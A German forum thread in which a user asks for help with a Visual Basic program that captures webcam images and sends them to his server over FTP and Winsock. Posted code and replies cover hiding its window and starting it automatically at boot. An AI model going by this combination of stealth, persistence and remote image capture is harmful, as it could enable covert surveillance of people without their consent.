Hallo ich habe ein Programm kreirt mit Copy & paste zeugs.
Technische daten:
- Funktioniert über Winsocks
- Wenn man ein foto schisst wird es per FTP auf mein server gespeichert
u.v.m.
Problem:
- Programm im hintergrund laufen lassen
- Automatisch im Autorun einfügen, z.b.: durch batch datei, wenn man z.b programm startet, dass es eine Batchdatei ausführt.
- Wenn ich das fenster transparenz mache, sehe ich (server) nichts
1: -Eigenschaft 'ShownInTaskbar' auf 'False'
-'Me.Hide'.
-Trayicon anzeigen, sonst kann man es nicht mehr steuern, anhalten ...
2: -Warum muss dein Prog eine Batchdatei ausführen?
-Du könntest eine Batchdatei unter Start/Programme/Autostart schieben und folgendes hineinschreiben:
[Pfad zu deinem Programm]\Progname (inkl .exe) - dann startet die Batch Datei dein Programm.
3: -Wenn man was transparent macht sieht man nie was, gleich wie am zunehmender Dunkelheit zu rechnen ist.
Erklär bitte den dritten punkt etwas genauer und poste Code WIE du es transparent machst!
mbg
pr0xy Newbie
Anmeldedatum: 21.03.2009 Beiträge: 6
Verfasst am: 14.12.2009, 18:23
Also wenn ich den Client völlig transparentz mache und cmdConect In den form_load verschiebe, sehe ich nichts als server, also sobald was transparentz ist sehe ich nichts als server.
Code:
Private Sub Form_Load()
Dim lpszName As String * 100
Dim lpszVer As String * 100
Dim Caps As CAPDRIVERCAPS
If capDriverConnect(lwndC, 0) Then
capDriverGetCaps lwndC, VarPtr(Caps), Len(Caps)
capPreviewScale lwndC, True
capPreviewRate lwndC, 66
capPreview lwndC, True
ResizeCaptureWindow lwndC
End If
SetWindowPos Me.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE Or SWP_NOMOVE
Call Mache_Transparent(Me.hWnd, 50)
If Winsock1.State <> sckClosed Then Exit Sub
Bsent = True
'llamada a la funcion que nos devolvera el frame.
capSetCallbackOnFrame lwndC, AddressOf MyFrameCallback
Winsock1.Close
Winsock1.Connect TxtIp.Text, TxtPuerto.Text
End If
End Sub
Module1 zur Transparentz:
Code:
Option Explicit
Declare Function GetWindowLong Lib "user32.dll" _
Alias "GetWindowLongA" ( _
ByVal hWnd As Long, _
ByVal nIndex As Long) As Long
Declare Function SetWindowLong Lib "user32.dll" _
Alias "SetWindowLongA" ( _
ByVal hWnd As Long, _
ByVal nIndex As Long, _
ByVal dwNewLong As Long) As Long
Declare Function SetLayeredWindowAttributes Lib "user32.dll" ( _
ByVal hWnd As Long, _
ByVal crKey As Long, _
ByVal bAlpha As Byte, _
ByVal dwFlags As Long) As Long
Public Const GWL_EXSTYLE = (-20)
Public Const WS_EX_LAYERED = &H80000
'Macht nur eine Farbe transparent
'Public Const LWA_COLORKEY = &H1
'Macht das ganze Fenster transparent
Public Const LWA_ALPHA = &H2
Public Sub Mache_Transparent(hWnd As Long, Rate As Byte)
'### funktioniert nur unter Windows 2000 oder XP!!!
'### macht das Fenster, dessen hWnd übergeben wurde, transparent
'### Rate: 254 = normal 0 = ganz transparent (also unsichtbar)
'### 190 ist z.B. ein guter Wert
Dim WinInfo As Long
WinInfo = GetWindowLong(hWnd, GWL_EXSTYLE)
If Rate < 255 Then
WinInfo = WinInfo Or WS_EX_LAYERED
SetWindowLong hWnd, GWL_EXSTYLE, WinInfo
SetLayeredWindowAttributes hWnd, 0, Rate, LWA_ALPHA
Else
'Wenn als Rate 255 angegeben wird,
'so wird der Ausgangszustand wiederhergestellt
WinInfo = WinInfo Xor WS_EX_LAYERED
SetWindowLong hWnd, GWL_EXSTYLE, WinInfo
End If
End Sub
Ehm könntest du bitte deine Schritte Ausführlich hinschreiben, also "ShowInTask" habe ich noch gefunden aber den rest nicht .
Me.Hide "versteckt" das Fenster. Musst den Client also nicht transparent machen
Zur Batchdatei: [RechteMaus]auf dem Desktop / Neu / Textdokument.
Das Präfix (Endung der datei) von txt auf bat ändern. So das statt "text.txt", "text.bat" steht.
Dann klickst du mit der Rechten Maus wieder drauf und dann "Bearbeiten"
Als Inhalt soll nur "C:\Programme\meinprog.exe" stehen. (Muss nat. mit deinem Pfad und Programmname ersetzt werden)
Und diese Datei dann in den Autostart verschieben (hoffe das ich dir das nicht erklären muss)
Noch weitere Fragen?
pr0xy Newbie
Anmeldedatum: 21.03.2009 Beiträge: 6
Verfasst am: 17.12.2009, 17:54
Miuerzi, ok danke mal für die antwort.
Meine Frage (deutlich):
Was muss ich hinschreiben bei "Form_load()", dass sich das batchdatei öffnet? z.b sowas?
open.file = App.Path"/autorun.bat"
bitte um hilfe
pr0xy Newbie
Anmeldedatum: 21.03.2009 Beiträge: 6
Verfasst am: 17.12.2009, 18:15
ok das mit dem Trayicon geschafft, doch ich bekomme kein Bild ich sehe nur weiss :-S siehe bild